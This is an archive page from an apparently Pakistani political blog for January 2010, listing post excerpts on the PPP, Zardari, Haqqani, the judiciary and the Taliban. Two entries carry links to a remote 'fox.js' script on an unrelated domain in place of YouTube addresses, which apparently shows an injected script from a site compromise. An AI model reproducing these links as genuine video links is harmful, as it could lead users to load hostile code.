Monthly Archive:: January 2010
A request to the Peoples’ Government – by Usama Bhutto: The Zulfiqar Ali Bhutto Memorial at the Rawalpindi Central Jail Gallows. The four pillars symbolyse the four Federating Units of Pakistan. Gallows of the old Rawalpindi Central Jail continue to haunt the Military Headquarters, where Zulfiqar Ali Bhutto was
Amb. Haqqani – Lobbying for “Transformation” – by Anas Muhammad: On January 15, 2009, Ambassador Husain Haqqani, was a special guest to a gathering at the Nixon Center, which discussed the US-Paksitan relations. This is one of the many forums Honorable Ambassador has addressed, since being appointed at his
The doctrine of necessity and the judicial saints – by Usama Bhutto: “The system is heading towards a disaster. Someone will have to interfere”. The Supreme Court of Pakistan. We have had a troubled history. Ever since its first elected Prime Minister gave Pakistan a unanimous constitution in 1973, the countries’
His legs in grave and “Allah!” on his lips, the noblest of the Islamists continues to lie!: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&youtu.be/fi3Vswvnwac
Hussain Haqqani, Mere Mutabiq – by Ahsan Abbas Shah: حسین حقانی میرے مُطابق کل سے میرے ذہن میں ایک بھونچال سا مچا ہُوا ہے،پپلز پارٹی میں اندرونی اِختلافات کو جس طریقے سے میڈیا پیش کر رہا ہے اُس سے شاید یہ تاثر دینے کی کوشش کی جا رہی
What was the agenda of Shahbaz Sharif’s meeting with CJ Iftikhar Chaudhry? – By Junaid Qaiser: The so called custodian of democracy and judiciary Shahbaz Sharif had a 2 hours long meeting with Cheif Justice Iftikhar Chaudhary on 9 January after the funeral of Justice Ramday’s wife. Ethically and morally speaking, Shahbaz Sharif should have
Our Arab brothers!: We Pakistanis idealize them. Everything they do is sacred just like this beating the UAE prince gave to an Afghani. http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=4I81ArtQgn8
We have too many governments in Pakistan – By Naseer Ahmed: We have too many governments in Pakistan. We have governments elected by people, i.e., central, provincial and local governments. We have self-designated governments like ISI (military), judiciary, media, extremists and feudal-industrial complex. The self-designated governments have four purposes. 1.
Insaf’s all roads lead to Jati Umrah? – by Ahsan Abbas Shah: مُلک کی تمام بڑے قد کی دعویدار سیاسی پارٹیاں اپنے اِتحادی اور وفاق کی علامت پپلز پارٹی سے نوک جھونک میں مصروف ہیں۔وزیر اعلٰی پنجاب نے حال ہی میں اپنے ایک انٹرویو میں زرداری صاحب ک شخصیت کو بڑے
Deconstructing Husain Haqqani – by Aamir Mughal and Sarah Khan: From the days of General Zia ul Haq, the Islamofacist dictator of Pakistan, one name never seems to die out. Like a roach, it has survived the test of time and come back to haunt the scene once again
A shameful decision: The recently announced decision to suspend Dr. Israr Shah from the PPP CEC is a terrible one. Dr. Israr Shah has given an unimaginable sacrifice for his party and his country and should be honoured as a hero, not
Klashni-country: A brief history of the Kalashinkov culture in Pakistan – by Nadeem Paracha: By late 1979, markets in the tribal regions of Pakistan were flooded with AK-47s, smuggled across by Afghan refugees. – File photo The famous Russian assault rifle, the Kalashnikov, also called the AK-47, or Klashni in the street and
Benazir Bhutto Case: Access Denied is Justice Denied – by Anas Muhammad: This year began with a blow to the UN investigation into Benazir Bhutto’s murder, as the commission was denied access to the top brass military and intelligence officials. The three member commission, which was investigating the facts and circumstances
The SMS war against Zardari – by Kaleem Butt: Day in and day out, PPP and President Zardari has to contend with an onslaught of negative propaganda on air waves, in print media and in cyber space. The enemy is media savvy and knows the impact of psychological
In Lahore, law emerges higher than the high-rises – by Qudrat Ullah: Chief Minister Muhammad Shahbaz Sharif of Punjab is an unpredictable man with great vigor and a substantiated strength of innovative potentials; especially when the issue of merit and rule of law surfaces, he forgives no body. During his first
The Taliban’s war on Pakistan and the role of our religio-political leaders: Saleem Safi, an eminent journalist and a veteran of the Afghan ‘jihad’, offers a critical perspective on the hypocritical role of our religio-political leaders (such as Fazlur-Rehman, Sami-ul-Haq, Munawar Hassan, Qazi Hussain Ahmed, Sahabzada Fazl-e-Karim etc, as well as
Pakhtun diaspora: irresponsible and insensitive — by Farhat Taj: Rich Arabs in the Middle East are ‘earning’ a place in paradise in the life hereafter through never ending generous donations to the Taliban and the madrassas producing foot soldiers and a jihadi mindset on the Pakhtun land. They
Four-year tenure for assemblies — by Barrister Dr Ehtasham Anwar: By reducing the tenure of assemblies by 20 percent, we can increase the sense of being accountable and consequently the efficiency of elected government by the same ratio, at least in theory
Planned hype against President Zardari – by Dr Masooda Bano: The crisis mode created around President Zardari’s speech has an air of planned maneuvering around it. Zardari is not without his weaknesses but the air of tension being created after his speech on the second anniversary of Benazir Bhutto’s
President Zardari, implement the Charter of Democracy with no further ifs and buts please: Here are three articles, published in three different newspapers today (i.e. Dawn, Daily Times and Jang), which suggest that in order to safeguard democracy, President Asif Ali Zardari must listen to Nawaz Sharif’s voice. If united, PPP and PML-N,
An open letter to Chairman PPP – by Ahsan Abbas Shah: چیرمین جناب محترم بلاول بھٹو زرداری صاحب شریک چیرمین جناب محترم آصف علی زرداری صاحب السلام علیکُم عوام کی حکومت کے قائم ہونے کے بعد ہر پارٹی کارکُن اور ہر مُحبِ وطن پاکستانی آپ کی جان کی سلامتی کے
Pakistani generals and the Taliban: Pakistani links to Haqqani militants again under spotlight The revelation that the Haqqani network may be behind the deadly CIA bombing throws the spotlight back on to Pakistan’s connivance with militants operating on its soil. Pakistan has refused to
President Zardari, Sindh Saga and the tele-scholars – by Ali Arqam: صدر زرداری، سندھ ساگا اور ٹیلی دانشور صدر زرداری کا حوالہ و تعارف چونکہ بھٹو لیگیسی کا تسلسل ہے اس لئے ان کی ذات سے جڑا ہر معاملہ اور ان کا کہا ہر لفظ متنازع بنا کر ان پر
Teen Jeem – by Hamid Akhtar: تین جیم – جج ، جنرل اور جرنلسٹ While the anti-democracy establishment and their agents in media are all out for the accountability of politicians, Hamid Akhtar wonders who will conduct the accountability of the teen jeem (i.e., three
Taliban are escalating the cost for the public – by Syed Talat Hussain: In the following article in Daily Times, renowned journalist and TV anchor Syed Talat Hussain discusses a new strategy of the Taliban militants, i.e. a deliberate and strong effort to escalate the
The Sindh Card: Here are two articles, first one by Hasan Mujtaba of BBC Urdu and the second one by Nazir Naji. The articles suggest that contrary to the ‘mainstream’ propaganda, the so called Sindh Card is a tool which has been
You too Aitzaz Ahsan, the leader of the legal community?: Related articles: Aitzaz Ahsan, PPP and Long March: A critical perspective – by Abbas Ather PPP suspends Ch Aitzaz Ahsan as member of Central Executive Committee (CEC) Pakistan’s left tilts towards right. Partners in crime? Distinguished figures among LPG
Article 227 and the NRO verdict short order: Here is article 227 of the Pakistani constitution: 227. Provisions relating to the Holy Qur’an and Sunnah. (1) All existing laws shall be brought in conformity with the Injunctions
Jamhoor dushman sahaafi – by Naseer Ahmed: Naseer Ahmed writes a critical piece on anti-democracy journalists in Pakistani media.
Hamid Gul’s challenge to Iftikhar Chaudhry: Try me if you can!: Hamid Gul admits he had role in IJI formation LAHORE: Former Inter-Services Intelligence (ISI) chief Hamid Gul has said that he played a role in forming the Islami Jamhoori Ittehad (IJI) and any accountability of the issue should be
A citizen’s perspective on TV anchors in Pakistan – by Naseer Ahmed: Naseer Ahmed offers a critical perspective on TV anchors in Pakistan, suggesting that journalists, including TV anchors, cannot indefinitely escape from accountability. The day will soon come when many of them will be held accountable for their yellow journalism
The Christian Cross: A Fading Symbol in Pakistan – by Zeresh John: A fading symbol By Zeresh John Monday, 04 Jan, 2010 The cross is the most widely recognised religious symbol of Christianity. Down the years, the emblem has faded from the public eye, rarely seen in the humdrum of everyday
30 December 2007 – The arrival of a new “Bhutto” in politics – by Saria Benazir: When everything seemed to have changed, every life, which had taken a new turn after the events of December 2007, resulting in the assassination of Shaheed Mohtarma Benazir Bhutto, the world had become bleak. The vision of a democratic
Some predictions for the new year – by Dr Syed Mansoor Hussain: Old predictions and new The 17th Amendment will eventually go this year but not until the PPP, without whose parliamentary support no new amendment can be passed, has extracted its ‘pound of flesh’ (and blood) from the N-League leadership
Terrorism: A legacy of General Zia-ul-Haq – Guest post by Naseer Ahmed: Here is a guest post by our valued visitor and contributor Mr Naseer Ahmed highlighting the roots of terrorism in Pakistan.
Tradings and Religion – Guest post by Ahmad Nadeem Gehla: Starting a new business is all about possibilities, optimism, hard work and risk of losses. However owning a business in any famous markets of Pakistan is considered as a guarantee for success because of high volume of ready customers.
A short history of the Babble Media Mujahids – by Nadeem Paracha: Babble Media Mujahids (BMM, and also called, BAAM!) is a group of superheroes operating in Pakistan. They advocate religious tolerance through the killing of heretics and glorification of an independent judiciary. The BMM was formed through divine intervention when
Slaughter on the volleyball field as Taliban wreak revenge on villagers: Police said the attack was possibly retaliation against residents who had set up a militia to expel Taliban fighters from the area Photo: BBC Here comes Taliban’s new year gift to the nation. Friends of Taliban (Ansar Abbasi, Shahid
Has Zardari done anything which comes close to unbeatable follies of our military dictators? – by Ayaz Amir: The road to hell — and similar destinations By Ayaz Amir We have a developed talent, honed over the years, for counting the trees and missing the larger picture. We see things in one dimension and forget that there
The scholar, the sufi, and the fanatic – by Nadeem Paracha: Roughly speaking, the political and social aspects of Islam in Pakistan can be seen as existing in and emerging from three distinct sets and clusters of thought. These clusters represent the three variations of political and social Islam that